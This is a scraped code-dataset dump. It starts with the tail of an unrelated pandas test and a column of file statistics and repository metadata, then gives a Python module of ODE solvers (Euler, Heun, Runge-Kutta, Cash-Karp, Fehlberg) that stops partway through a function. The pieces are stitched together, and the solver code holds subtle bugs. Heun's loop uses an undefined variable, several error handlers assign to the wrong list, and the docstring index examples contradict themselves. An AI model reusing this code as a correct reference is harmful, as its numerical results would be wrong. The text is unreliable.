results = results.where(results.notnull(), "nan")
benchmarks = results.loc["Benchmark"].reset_index()
benchmarks.loc[:, "Date"] = benchmarks.Date.dt.strftime("%Y-%m-%dT%H:%M:%S%z")
self.assertDictEqual(
benchmarks.to_dict(orient="list"),
{'Date': [
'2018-05-01T00:00:00',
'2018-05-01T00:00:00',
'2018-05-01T00:00:00',
'2018-05-02T00:00:00',
'2018-05-02T00:00:00',
'2018-05-02T00:00:00'],
'Time': ['10:00:00',
'11:00:00',
'12:00:00',
'10:00:00',
'11:00:00',
'12:00:00'],
"FI12345": [199.6,
199.6,
199.6,
210.45,
210.45,
210.45],
"FI23456": ["nan",
"nan",
"nan",
"nan",
"nan",
"nan"]}
)
| 34.521944
| 149
| 0.397019
| 5,468
| 66,075
| 4.660022
| 0.068947
| 0.020015
| 0.034614
| 0.029355
| 0.883443
| 0.869236
| 0.863035
| 0.850555
| 0.838978
| 0.835054
| 0
| 0.097695
| 0.505668
| 66,075
| 1,913
| 150
| 34.53999
| 0.682424
| 0.060446
| 0
| 0.853199
| 0
| 0.000673
| 0.117659
| 0.020014
| 0
| 0
| 0
| 0
| 0.020875
| 1
| 0.055892
| false
| 0.000673
| 0.006734
| 0.000673
| 0.111785
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
9b86ef9683c1f509f1ae0749e8ed3d799ac168de
| 67,690
|
py
|
Python
|
ASModeller/ode.py
|
marcuschanws/advancesyntoolkit
|
291200b0bdd0cc9ba4a03c85eed2633ba2941b9c
|
[
"Apache-2.0"
] | 9
|
2018-09-27T00:33:06.000Z
|
2022-03-16T01:50:30.000Z
|
ASModeller/ode.py
|
marcuschanws/advancesyntoolkit
|
291200b0bdd0cc9ba4a03c85eed2633ba2941b9c
|
[
"Apache-2.0"
] | null | null | null |
ASModeller/ode.py
|
marcuschanws/advancesyntoolkit
|
291200b0bdd0cc9ba4a03c85eed2633ba2941b9c
|
[
"Apache-2.0"
] | 30
|
2018-08-17T15:17:39.000Z
|
2022-03-16T02:36:16.000Z
|
'''
Ordinary Differential Equation (ODE) Solvers.
Copyright (c) Maurice H.T. Ling <mauriceling@acm.org>
Date created: 20th December 2014
'''
def boundary_checker(y, boundary, type):
'''
Private function - called by ODE solvers to perform boundary checking
of variable values and reset them to specific values if the original
values fall out of the boundary values.
Boundary parameter takes the form of a dictionary with variable number
as key and a list of [<boundary value>, <value to set if boundary is
exceeded>]. For example, the following dictionary for lower boundary
(type = 'lower') {'1': [0.0, 0.0], '5': [2.0, 2.0]} will set the lower
boundary of variable y[0] and [5] to 0.0 and 2.0 respectively. This
also allows for setting to a different value - for example, {'1': [0.0,
1.0]} will set variable y[0] to 2.0 if the original y[0] value is
negative.
@param y: values for variables
@type y: list
@param boundary: set of values for boundary of variables
@type boundary: dictionary
@param type: the type of boundary to be checked, either 'upper' (upper
boundary) or 'lower' (lower boundary)
'''
for k in list(boundary.keys()):
if y[int(k)] < boundary[k][0] and type == 'lower':
y[int(k)] = boundary[k][1]
if y[int(k)] > boundary[k][0] and type == 'upper':
y[int(k)] = boundary[k][1]
return y
def Euler(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y0' = funcs(x0, y0), using
Euler method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
y1 = [0]*n
for i in range(n):
try: y1[i] = y0[i] + (step*funcs[i](x0, y0))
except TypeError: pass
except ZeroDivisionError: y0[i] = zerodivision
except OverflowError: y0[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def Heun(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y0' = funcs(x0, y0), using Heun's
method, which is also known as Runge-Kutta 2nd method or Trapezoidal method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1 = [0]*n
y1, y2 = [0]*n, [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + step*f1[i]
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y2[i] = overflow
for i in range(n):
try: y2[i] = y0[i] + 0.5*step*(f1[i] + funcs[i](x0+step, y1))
except TypeError: pass
except ZeroDivisionError: y2[i] = zerodivision
except OverflowError: y2[i] = overflow
return y2
while x0 < xmax:
y2 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y2 = boundary_checker(y2, lower_bound, 'lower')
if upper_bound:
y2 = boundary_checker(y2, upper_bound, 'upper')
y0 = y2
x0 = x0 + step
yield [x0] + y0
def RK3(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y0' = funcs(x0, y0), using third
order Runge-Kutta method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3 = [0]*n, [0]*n, [0]*n
y1, y2 = [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = step * funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for i in range(n):
y1[i] = y0[i] + 0.5*f1[i]
for i in range(n):
try: f2[i] = step * funcs[i](x0 + 0.5*step, y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for i in range(n):
y1[i] = y0[i] - f1[i] + 2*f2[i]
for i in range(n):
try: f3[i] = step * funcs[i](x0 + step, y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (f1[i] + 4*f2[i] + f3[i])/6.0
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def RK4(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fourth
order Runge-Kutta method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3, f4 = [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.5*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.5*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.5*step*f2[j])
for i in range(n):
try: f3[i] = funcs[i]((x0+(0.5*step)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (step*f3[j])
for i in range(n):
try: f4[i] = funcs[i]((x0+step), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
(f1[i] + (2.0*f2[i]) + (2.0*f3[i]) + f4[i]) / 6.0)
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def RK38(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fourth
order Runge-Kutta method, 3/8 rule.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3, f4 = [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (step*f1[j]/3.0)
for i in range(n):
try: f2[i] = funcs[i]((x0+(step/3.0)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (-1*step*f1[j]/3.0) + (step*f2[j])
for i in range(n):
try: f3[i] = funcs[i]((x0+(2*step/3.0)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (step*f1[j]) + (-step*f2[j]) + (step*f3[j])
for i in range(n):
try: f4[i] = funcs[i]((x0+step), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
(f1[i] + (3.0*f2[i]) + (3.0*f3[i]) + f4[i]) / 8.0)
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def CK4(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fourth
order Cash-Karp method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3, f4, f5, f6 = [0]*n, [0]*n, [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.2*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.2*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.075*step*f1[j]) + (0.225*step*f2[j])
for i in range(n):
try: f3[i] = funcs[i]((x0+(0.3*step)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.3*step*f1[j]) + (-0.9*step*f2[j]) + \
(1.2*step*f3[j])
for i in range(n):
try: f4[i] = funcs[i]((x0+(0.6*step)), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for j in range(n):
y1[j] = y0[j] + (-11*step*f1[j]/54.0) + (2.5*step*f2[j]) + \
(-70*step*f3[j]/27.0) + (35*step*f4[j]/27.0)
for i in range(n):
try: f5[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f5[i] = zerodivision
except OverflowError: f5[i] = overflow
for j in range(n):
y1[j] = y0[j] + (1631*step*f1[j]/55296) + (175*step*f2[j]/512) + \
(575*step*f3[j]/13824) + (44275*step*f4[j]/110592) + \
(253*step*f5[j]/4096)
for i in range(n):
try: f6[i] = funcs[i](x0+(0.875*step), y1)
except TypeError: pass
except ZeroDivisionError: f6[i] = zerodivision
except OverflowError: f6[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
((2825*f1[i]/27648) + (18575*f3[i]/48384) + \
(13525*f4[i]/55296) + (277*f5[i]/14336) + \
(0.25*f6[i])))
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def CK5(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fifth
order Cash-Karp method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3, f4, f5, f6 = [0]*n, [0]*n, [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.2*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.2*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.075*step*f1[j]) + (0.225*step*f2[j])
for i in range(n):
try: f3[i] = funcs[i]((x0+(0.3*step)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.3*step*f1[j]) + (-0.9*step*f2[j]) + \
(1.2*step*f3[j])
for i in range(n):
try: f4[i] = funcs[i]((x0+(0.6*step)), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
except OverflowError: f4[i] = overflow
for j in range(n):
y1[j] = y0[j] + (-11*step*f1[j]/54.0) + (2.5*step*f2[j]) + \
(-70*step*f3[j]/27.0) + (35*step*f4[j]/27.0)
for i in range(n):
try: f5[i] = funcs[i](x0+step, y1)
except TypeError: pass
except ZeroDivisionError: f5[i] = zerodivision
except OverflowError: f5[i] = overflow
for j in range(n):
y1[j] = y0[j] + (1631*step*f1[j]/55296.0) + \
(175*step*f2[j]/512.0) + (575*step*f3[j]/13824.0) + \
(44275*step*f4[j]/110592.0) + (253*step*f5[j]/4096.0)
for i in range(n):
try: f6[i] = funcs[i](x0+(0.875*step), y1)
except TypeError: pass
except ZeroDivisionError: f6[i] = zerodivision
except OverflowError: f6[i] = overflow
for i in range(n):
try: y1[i] = y0[i] + (step * \
((37*f1[i]/378.0) + (250*f3[i]/621.0) + \
(125*f4[i]/594.0) + (512*f6[i]/1771.0)))
except TypeError: pass
except ZeroDivisionError: y1[i] = zerodivision
except OverflowError: y1[i] = overflow
return y1
while x0 < xmax:
y1 = solver(funcs, x0, y0, step)
if nonODEfunc:
y1 = nonODEfunc(y1, step)
if lower_bound:
y1 = boundary_checker(y1, lower_bound, 'lower')
if upper_bound:
y1 = boundary_checker(y1, upper_bound, 'upper')
y0 = y1
x0 = x0 + step
yield [x0] + y0
def RKF4(funcs, x0, y0, step, xmax, nonODEfunc=None,
lower_bound=None, upper_bound=None,
overflow=1e100, zerodivision=1e100):
'''
Generator to integrate a system of ODEs, y' = f(x, y), using fourth
order Runge-Kutta-Fehlberg method.
A function (as nonODEfunc parameter) can be included to modify one or
more variables (y0 list). This function will not be an ODE (not a
dy/dt). This can be used to consolidate the modification of one or
more variables at each ODE solving step. For example, y[0] = y[1] / y[2]
can be written as
>>> def modifying_function(y, step):
y[0] = y[1] / y[2]
return y
This function must take 'y' (variable list) and 'step' (time step) as
parameters and must return 'y' (the modified variable list). This
function will execute before boundary checking at each time step.
Upper and lower boundaries of one or more variable can be set using
upper_bound and lower_bound parameters respectively. These parameters
takes the form of a dictionary with variable number as key and a list
of [<boundary value>, <value to set if boundary is exceeded>]. For
example, the following dictionary for lower boundary {'1': [0.0, 0.0],
'5': [2.0, 2.0]} will set the lower boundary of variable y[0] and y[5]
to 0.0 and 2.0 respectively. This also allows for setting to a different
value - for example, {'1': [0.0, 1.0]} will set variable y[0] to 2.0 if
the original y[0] value is negative.
@param funcs: system of differential equations
@type funcs: list
@param x0: initial value of x-axis, which is usually starting time
@type x0: float
@param y0: initial values for variables
@type y0: list
@param step: step size on the x-axis (also known as step in calculus)
@type step: float
@param xmax: maximum value of x-axis, which is usually ending time
@type xmax: float
@param nonODEfunc: a function to modify the variable list (y0)
@type nonODEfunc: function
@param lower_bound: set of values for lower boundary of variables
@type lower_bound: dictionary
@param upper_bound: set of values for upper boundary of variables
@type upper_bound: dictionary
@param overflow: value (usually a large value) to assign in event of
over flow error (usually caused by a large number) during integration.
Default = 1e100.
@type overflow: float
@param zerodivision: value (usually a large value) to assign in event
of zero division error, which results in positive infinity, during
integration. Default = 1e100.
@type zerodivision: float
'''
yield [x0] + y0
def solver(funcs, x0, y0, step):
n = len(funcs)
f1, f2, f3, f4, f5, f6 = [0]*n, [0]*n, [0]*n, [0]*n, [0]*n, [0]*n
y1 = [0]*n
for i in range(n):
try: f1[i] = funcs[i](x0, y0)
except TypeError: pass
except ZeroDivisionError: f1[i] = zerodivision
except OverflowError: f1[i] = overflow
for j in range(n):
y1[j] = y0[j] + (0.25*step*f1[j])
for i in range(n):
try: f2[i] = funcs[i]((x0+(0.25*step)), y1)
except TypeError: pass
except ZeroDivisionError: f2[i] = zerodivision
except OverflowError: f2[i] = overflow
for j in range(n):
y1[j] = y0[j] + (3*step*f1[j]/32.0) + (9*step*f2[j]/32.0)
for i in range(n):
try: f3[i] = funcs[i]((x0+(3*step/8.0)), y1)
except TypeError: pass
except ZeroDivisionError: f3[i] = zerodivision
except OverflowError: f3[i] = overflow
for j in range(n):
y1[j] = y0[j] + (1932*step*f1[j]/2197.0) + \
(-7200*step*f2[j]/2197.0) + \
(7296*step*f3[j]/2197.0)
for i in range(n):
try: f4[i] = funcs[i]((x0+(12*step/13.0)), y1)
except TypeError: pass
except ZeroDivisionError: f4[i] = zerodivision
